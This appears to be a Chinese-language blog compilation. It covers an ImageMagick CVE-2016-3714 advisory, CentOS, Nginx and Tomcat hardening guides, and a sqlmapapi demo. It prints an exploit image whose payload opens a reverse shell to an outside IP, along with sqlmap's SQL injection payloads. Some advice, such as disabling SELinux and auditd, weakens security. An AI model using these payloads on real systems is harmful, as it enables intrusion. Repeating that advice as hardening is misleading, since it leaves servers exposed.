近日,ImageMagick官方披露一处高危命令执行漏洞,漏洞编号为CVE-2016-3714,Java、PHP 的库也受其影响,比如php有IMagick、MagickWand for PHP 、phMagick等ImageMagick拓展库,java有JMagick,python有PythonMagick、Wand 等拓展库。攻击者仅通过上传图片就可以获得服务器权限。

测试过程:

上传图片,内容为:
push graphic-context
viewbox 0 0 640 480
fill ‘url(https://example.com/image.jpg”|bash -i >& /dev/tcp/106.187.4.9/2345 0>&1″)’
pop graphic-context

123

影响范围:
影响ImageMagick 6.9.3-9以前所有版本。

漏洞修复:
1)版本升级,目前不受影响版本为ImageMagick 7.0.1-1和6.9.3-10。

2)修改配置文件
【CentOS6】
如果不需要这些功能,可以通过配置policy.xml的方式来禁止https、mvg这些delegate。
查看配置文件位置:rpm -ql ImageMagick | grep policy.xml
<policymap>
<policy domain=”coder” rights=”none” pattern=”EPHEMERAL” />
<policy domain=”coder” rights=”none” pattern=”URL” />
<policy domain=”coder” rights=”none” pattern=”HTTPS” />
<policy domain=”coder” rights=”none” pattern=”MVG” />
<policy domain=”coder” rights=”none” pattern=”MSL” />
</policymap>
重启php-fpm
/etc/init.d/php-fpm restart
【Centos5】
通过yum升级最高版本为ImageMagick-6.2.8.0,这个版本是没有policy.xml文件的。
老外的文章:
https://access.redhat.com/security/vulnerabilities/2296071
https://www.imagemagick.org/discourse-server/viewtopic.php?f=2&t=29614&start=15
解决方案有两个:
1)
[root@AccBBSweb1 usr]# rpm -ql ImageMagick-6.2.8.0-15.el5_8 | grep delegates.xml
/usr/lib64/ImageMagick-6.2.8/config/delegates.xml
/usr/lib/ImageMagick-6.2.8/config/delegates.xml
找到<delegate decode=”https” command='”wget” -q -O “%o” “https:%M”‘ />
修改为:<delegate decode=”https” command=”/bin/false” />
/usr/local/php-fpm/sbin/php-fpm restart
2)
在如下文件中:
/usr/lib64/ImageMagick-6.2.8/modules-Q16/coders/ (64bit package)
or
/usr/lib/ImageMagick-6.2.8/modules-Q16/coders/ (32bit package)

$ mv mvg.so mvg.so.bak
$ mv msl.so msl.so.bak
$ mv label.so label.so.bak
$ mv url.so url.so.bak

3)处理图片前,先检查图片的 “magic bytes”,也就是图片头,如果图片头不是你想要的格式,那么就不调用ImageMagick处理图片。如果你是php用户,可以使用getimagesize函数来检查图片格式,而如果你是wordpress等web应用的使用者,可以暂时卸载ImageMagick,使用php自带的gd库来处理图片。

账号管理

  • 多余账户锁定策略

应锁定与设备运行、维护等工作无关的账号。

 

查看锁定用户:

# cat /etc/passwd,查看哪些账户的shell域中为nologin;

锁定用户:

通过#passwd –l username锁定账户;

只有具备超级用户权限的使用者方可使用#passwd –l username锁定用户,用#passwd –d username解锁后原有密码失效,登录需输入新密码。

  • root账户远程登录限制

限制具备root权限的用户远程登录。

仅允许key登录。

 

修改/etc/ssh/sshd_config文件,将PermitRootLogin yes改为PermitRootLogin no,重启sshd服务。

 

  • 删除不必要的系统账户

将系统自带的用户和用户组删除掉

查看系统中的所有用户:

[root@CentOS1 init.d]# cat /etc/passwd | awk -F : ‘{print $1}’

删除的用户,如adm,lp,sync,shutdown,halt,news,uucp,operator,games,gopher。

删除的组,如adm,lp,news,uucp,games,dip,pppusers,popusers,slipusers。

 

口令配置

  • 口令复杂度策略

口令长度至少8位,并包括数字、小写字母、大写字母和特殊符号4类中至少3类。

 

打开/etc/pam.d/system-auth文件,找到password模块接口的配置部分,找到类似如下的配置行:

password  requisite  /lib/security/$ISA/pam_cracklib.so minlen =8

修改为:

password requisite pam_cracklib.so retry=3 difok=3 minlen=10 ucredit=-1 lcredit=-2 dcredit=-1 ocredit=-1

参数说明如下:

1、retry=N,确定用户创建密码时允许重试的次数;

2、minlen=N,确定密码最小长度要求,事实上,在默认配置下,此参数代表密码最小长度为N-1;

3、dcredit=N,当N小于0时,代表新密码中数字字符数量不得少于(-N)个。例如,dcredit=-2代表密码中要至少包含两个数字字符;

4、ucredit=N,当N小于0时,代表则新密码中大写字符数量不得少于(-N)个;

5、lcredit=N,当N小于0时,代表则新密码中小写字符数量不得少于(-N)个;

 

  • 口令最长生存期策略

要求操作系统的账户口令的最长生存期不长于90天。

 

编辑/etc/login.defs

密码过期期限修改为90,密码长度修改为8

PASS_MAX_DAYS   90

PASS_MIN_DAYS   0

PASS_MIN_LEN    8

PASS_WARN_AGE   7

  • 常用密码禁用

禁止使用最近用过的5个密码

 

sudo vi /etc/pam.d/system-auth

password    sufficient    pam_unix.so sha512 shadow nullok try_first_pass use_authtok remember=5

 

认证授权

  • 系统关键目录权限控制

根据安全需要,配置某些关键目录其所需的最小权限;

重点要求password配置文件、shadow文件、group文件权限。

 

/etc/passwd 所有用户都可读,root用户可写 –rw-r—r—

配置命令:chmod 644 /etc/passwd

/etc/shadow 只有root可读 –r——–

配置命令:chmod 600 /etc/shadow;

/etc/group 必须所有用户都可读,root用户可写 –rw-r—r—

配置命令:chmod 644 /etc/group

  • 用户缺省权限控制

控制用户缺省访问权限,当在创建新文件或目录时应屏蔽掉新文件或目录不应有的访问允许权限,防止同属于该组的其它用户及别的组的用户修改该用户的文件或更高限制。

 

操作步骤

默认通过全局脚本/etc/bashrc设置所有用户的默认umask值,修改脚本即可实现对用户默认umask值的全局性修改,通常建议将umask设置为027以上

日志审计

  • 统一远程日志服务器配置

当前系统应配置远程日志功能,将需要重点关注的日志内容传输到日志服务器进行备份。

 

修改配置文件vi /etc/syslog.conf,

加上这一行:

authpriv.*   @x.x.x.x

重新启动syslog服务,执行下列命令:

services syslogd restart

 

 

  • 设置history

配置history时间戳,便于审计。

 

在/etc/bashrc文件中增加如下行:

export HISTTIMEFORMAT=”%F %T”

 

入侵服务器后,攻击者通过历史命令可以获取更多的信息,如mysql密码、FTP密码、内网服务与结构等等

可以编辑/etc/profile文件,修改其中的选项如下:

histsize=30

 

登录管理

  • SSH登录限制配置

SSH监听内网IP地址和跳板机地址

 

在/etc/ssh/sshd_config文件中修改

ListenAddress 0.0.0.0

为内网IP地址和跳板机地址

  • SSH登录失败锁定

配置普通账户和root账户登录失败5次后,锁定账户300S

 

# vim /etc/pam.d/login

在#%PAM-1.0的下面,即第二行,添加内容

auth      required  pam_tally2.so   deny=5  lock_time=300 even_deny_root root_unlock_time=300

各参数含义如下:

even_deny_root    也限制root用户;

deny           设置普通用户和root用户连续错误登陆的最大次数,超过最大次数,则锁定该用户

unlock_time        设定普通用户锁定后,多少时间后解锁,单位是秒;

root_unlock_time      设定root用户锁定后,多少时间后解锁,单位是秒;

 

服务安全

  • 关闭不必要的系统服务

根据每台机器的不同角色,关闭不需要的系统服务。

 

首先查看当前服务列表:

#chkconfig –list

关闭不必要的服务项,操作步骤如下:

#service <服务名> stop

#chkconfig <服务名> off

chkconfig auditd off

chkconfig blk-availability off

chkconfig ip6tables off

chkconfig lvm2-monitor off

chkconfig udev-post off

  • 禁止Control-Alt-Delete键盘关闭命令

编辑/etc/init/control-alt-delete.conf

找到

start on control-alt-delete

更改为

#start on control-alt-delete

  • 修改系统相关信息
[root@localhost ~]# echo “Welcome to Server” >/etc/issue

[root@localhost ~]# echo “Welcome to Server” >/etc/redhat-release

  • 关闭SELinux
[root@localhost~]# vi /etc/selinux/config

SELINUX=disabled

1、屏蔽版本

修改/隐藏Nginx的相关信息将在一定程度上可以增大攻击者的攻击难度,也可以骗过一些自动化攻击工具,两种方式

1)

在Linux平台下以源码方式安装Nginx时,可以通过修改“src/core/nginx.h”中的信息来达到隐藏或自定义Banner信息的目的。

[root@CentOS www]# vim /opt/nginx-1.6.1/src/core/nginx.h

例如可修改为:

#define NGINX_VERSION      “1.0”

#define NGINX_VER          “Webserver/” NGINX_VERSION

修改完成后,重新编译Nginx,然后安装即可。

2)

nginx.conf配置如下:

server {

listen       80;

server_name  10.11.11.201;

server_tokens off;

}

 

2、Nginx启动帐号

使用普通权限的账户启动,禁止使用root帐号启动。如

user nginx nginx;

 

3、日志记录

开启Web的access log日志记录功能,同时请对日志按日进行切割打包压缩收集存储。Nginx的日志默认存放在安装目录的logs目录下,首先要修改日志的默认保存路径,然后设置只允许管理员有日志存放目录的完全控制权限。

 

4、预防Php 解析隐患

如果Nginx启用了php fastcgi功能,强烈建议添加如下配置,以预防文件名解析漏洞:

server {

….

if ( $fastcgi_script_name ~ \..*\/.*php ) {

return 403;

}

….

}

上述配置将拦截类似这样的请求:

/1.jpg/x.php

/my.dir/x.php

 

5、Web目录权限设置

Nginx启动帐号应对web目录下所有文件及子目录无写权限,如果web应用需写日志文件,不应该放在web目录下。

 

6、上传目录禁止执行

如果web应用确实需要支持文件上传功能,nginx启动帐号需要对web某些目录具有写权限,应在nginx里面限制上传目录无脚本执行权限。

注:这里指的不是去除文件系统rwx权限中的x,文件系统权限中的x可以保留,无影响。

假设上传目录为”/upload”,配置示例如下:

server {

….

location ~ ^/upload/.*\.php {

return 403;

}

….

location ~ \.php$ {

fastcgi_pass *;

}

}

注:”location ~ ^/upload/.*\.php”必须写在前面!对于location的正则表达式,nginx是按照先后顺序来匹配的,具体可参见http://wiki.nginx.org/HttpCoreModule#location

 

7、禁止访问敏感扩展名文件

在nginx.conf中添加配置

location ~* \.( rar|zip|gz|tar|tgz|tar.gz|7z|z|bz2|tar.bz2|sql|log|rar|ini|bak|conf|

DS_Store|idea|swp|svn/entries|git/config)$ {

deny all;

}

 

8、屏蔽非法的HTTP方法

if ($request_method !~ ^(GET|HEAD|POST)$ ) {

return 444;

}

1、删除管理后台等文件
删除TOMCAT默认示例文件、帮助文件、后台管理界面等,禁止使用manager/html管理后台。需删除的文件和目录清单如下:
$CATALINA_BASE/server/webapps/manager
$CATALINA_BASE/server/webapps/host-manager
$CATALINA_BASE/webapps/balancer
$CATALINA_BASE/webapps/manager
$CATALINA_BASE/webapps/host-manager
$CATALINA_BASE/webapps/webdav
$CATALINA_BASE/webapps/tomcat-docs
$CATALINA_BASE/webapps/jsp-examples
$CATALINA_BASE/webapps/servlets-examples
$CATALINA_BASE/webapps/examples
$CATALINA_BASE/webapps/docs
$CATALINA_BASE/conf/tomcat-users.xml

2、Tomcat启动帐号
建立独立用户,用户名和组名均为tomcat,不设置密码(即禁止SSH登录),tomcat进程以此帐号身份运行。
严禁以root权限运行tomcat,禁止以个人帐号或其他有shell权限的帐号运行tomcat。
3、禁止目录浏览
配置$CATALINA_BASE/conf/web.xml文件,防止直接访问目录时由于找不到默认主页而列出目录下所有文件。
<servlet>
……
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
……
</servlet>

4、访问日志记录
必须打开access log记录功能,按小时或按天记录。prefix/fileDateFormat/pattern可自定义,但必须记录关键信息,例如:源IP,Host、时间、请求、状态码、数据大小、UA等。
注意:如果前端是Nginx做反向代理,必须自定义pattern,记录客户端真实IP(X-Real-IP)。
$CATALINA_BASE/conf/server.xml配置示例:
<Valve className=”org.apache.catalina.valves.AccessLogValve”
directory=”logs” prefix=”自定义” suffix=”.log”
fileDateFormat=”yyyy-MM-dd-HH”
pattern=”%a %l %u %t &quot;%r&quot; %s %b &quot;%{Referer}i&quot; &quot;%{User-Agent}i&quot; &quot; %{X-Real-IP}i”
resolveHosts=”false”/>

5、禁止使用JMX
如之前已经启用,在启动脚本里面(catalina.sh或startenv.sh)删除CATALINA_OPTS变量里面jmxremote相关参数即可。

6、禁止使用AJP
配置$CATALINA_BASE/conf/server.xml文件,注释或删除如下部分。
注释前
<Connector port=”*” maxThreads=”*”
enableLookups=”false” redirectPort=”*” protocol=”AJP/**” />
注释后
<!–
<Connector port=”*” maxThreads=”*”
enableLookups=”false” redirectPort=”*” protocol=”AJP/**” />
–>

7、WEB目录权限
默认情况下,tomcat启动账户对WEB目录下所有文件及子目录应无写权限。
标准配置:文件属主为root.root,权限为755。建议将日志文件及cache文件应放在WEB目录之外。

8、上传目录禁止执行
如tomcat需支持上传功能,需要对WEB目录下某些目录有写权限,强烈建议限制这些上传目录禁止执行脚本。
注:这里指的不是去除文件系统rwx权限中的x执行权限,而是针对指定目录如上传路径下的脚本文件不进行解析。
以下是通过UrlRewriteFilter模块来限制的示例配置,如果WEB-INF及相关目录不存在,创建一个即可。
a) 部署jar
把”urlrewrite-2.6.0.jar”拷贝到”$appdir/WEB-INF/lib”目录下或从<http://tuckey.org/urlrewrite/>获取最新版本的urlrewrite jar包。
b) 修改web.xml加载filter
在”$appdir/WEB-INF/web.xml”增加如下配置项
<filter>
<filter-name>UrlRewriteFilter</filter-name>
<filter-class>org.tuckey.web.filters.urlrewrite.UrlRewriteFilter</filter-class>
</filter>

<filter-mapping>
<filter-name>UrlRewriteFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
c) 设置规则禁止上传目录执行jsp
创建配置文件”$appdir/WEB-INF/urlrewrite.xml”,假设上传目录的相对路径为”/upload”,且脚本扩展名称为”.jsp”。则配置文件内容类似为:
<?xml version=”1.0″ encoding=”utf-8″?>
<!DOCTYPE urlrewrite PUBLIC “-//tuckey.org//DTD UrlRewrite 2.6//EN”
“http://tuckey.org/res/dtds/urlrewrite2.6.dtd”>

<urlrewrite>
<rule>
<from>^[\./]*/upload/.*\.jsp$</from>
<to>/deny.html</to>
</rule>
</urlrewrite>

9、隐藏版本信息
网站中常见的404、500等错误在浏览器中会显示服务器的详细信息,很容易暴露一些敏感的信息
可以采用两种方式屏蔽,推荐第一种方式:
1)
打开conf/web.xml文件,在文件的最后添加如下类似的代码,可以将404或者500错误重定向到另外一个页面
<error-page>
<error-code>404</error-code>
<location>/WEB-INF/jsp/404.jsp</location>
</error-page>

2)修改版本信息
具体操作步骤如下:
到$CATALINA_HOME/lib目录 创建org/apache/catalina/util目录
mkdir -p org/apache/catalina/util
cd $CATALINA_HOME/lib/org/apache/catalina/util
vi ServerInfo.properties #编辑下面文字
server.info=Apache Tomcat
/usr/local/tomcat/bin/catalina.sh stop
/usr/local/tomcat/bin/catalina.sh start

sqlmapapi作为自动化分布式的工具,提供了不少便利。

sqlmapapi的参数:
[root@CentOS sqlmap-master]# python sqlmapapi.py -h
Usage: sqlmapapi.py [options]

Options:
-h, –help show this help message and exit
-s, –server Act as a REST-JSON API server
-c, –client Act as a REST-JSON API client
-H HOST, –host=HOST Host of the REST-JSON API server
-p PORT, –port=PORT Port of the the REST-JSON API server

sqlmapapi的操作步骤:
[root@CentOS sqlmap-master]# python sqlmapapi.py -s
[15:16:14] [INFO] Running REST-JSON API server at ‘127.0.0.1:8775’.
[15:16:14] [INFO] Admin ID: cddf73b09c3e45fce0087b28d96d26ab
[15:16:14] [DEBUG] IPC database: /tmp/sqlmapipc-TwbxoE
[15:16:14] [DEBUG] REST-JSON API server connected to IPC database
[root@CentOS sqlmap-master]# curl http://127.0.0.1:8775/task/new
{
“taskid”: “6bccaf0fe2043330”,
“success”: true
}[root@CentOS sqlmap-master]# curl-H “Content-Type: application/json” -X POST -d ‘{“url”: “http://testphp.vulnweb.com/artists.php?artist=1”}’ http://127.0.0.1:8775/scan/6bccaf0fe2043330/start
{
“engineid”: 17618,
“success”: true
}
[root@CentOS sqlmap-master]# curl http://127.0.0.1:8775/scan/6bccaf0fe2043330/data
{
“data”: [
{
“status”: 1,
“type”: 0,
“value”: [
{
“dbms”: “MySQL”,
“suffix”: “”,
“clause”: [
1
],
“ptype”: 1,
“dbms_version”: [
“>= 5.0.12”
],
“prefix”: “”,
“place”: “GET”,
“os”: null,
“conf”: {
“string”: null,
“notString”: null,
“titles”: false,
“regexp”: null,
“textOnly”: false,
“optimize”: false
},
“parameter”: “artist”,
“data”: {
“1”: {
“comment”: “”,
“matchRatio”: 0.71399999999999997,
“title”: “AND boolean-based blind – WHERE or HAVING clause”,
“templatePayload”: null,
“vector”: “AND [INFERENCE]”,
“where”: 1,
“payload”: “artist=1 AND 2672=2672”
},
“5”: {
“comment”: “”,
“matchRatio”: 0.71399999999999997,
“title”: “MySQL >= 5.0.12 AND time-based blind (SELECT)”,
“templatePayload”: null,
“vector”: “AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])”,
“where”: 1,
“payload”: “artist=1 AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))hKsS)”
},
“6”: {
“comment”: “– “,
“matchRatio”: 0.71399999999999997,
“title”: “Generic UNION query (NULL) – 1 to 20 columns”,
“templatePayload”: null,
“vector”: [
0,
3,
“– “,
“”,
“”,
“NULL”,
2,
true,
false
],
“where”: 2,
“payload”: “artist=-6479 UNION ALL SELECT CONCAT(0x7171767a71,0x7a6d7378465941786759,0x717a6b7a71),NULL,NULL– ”
}
}
}
] }
],
“success”: true,
“error”: []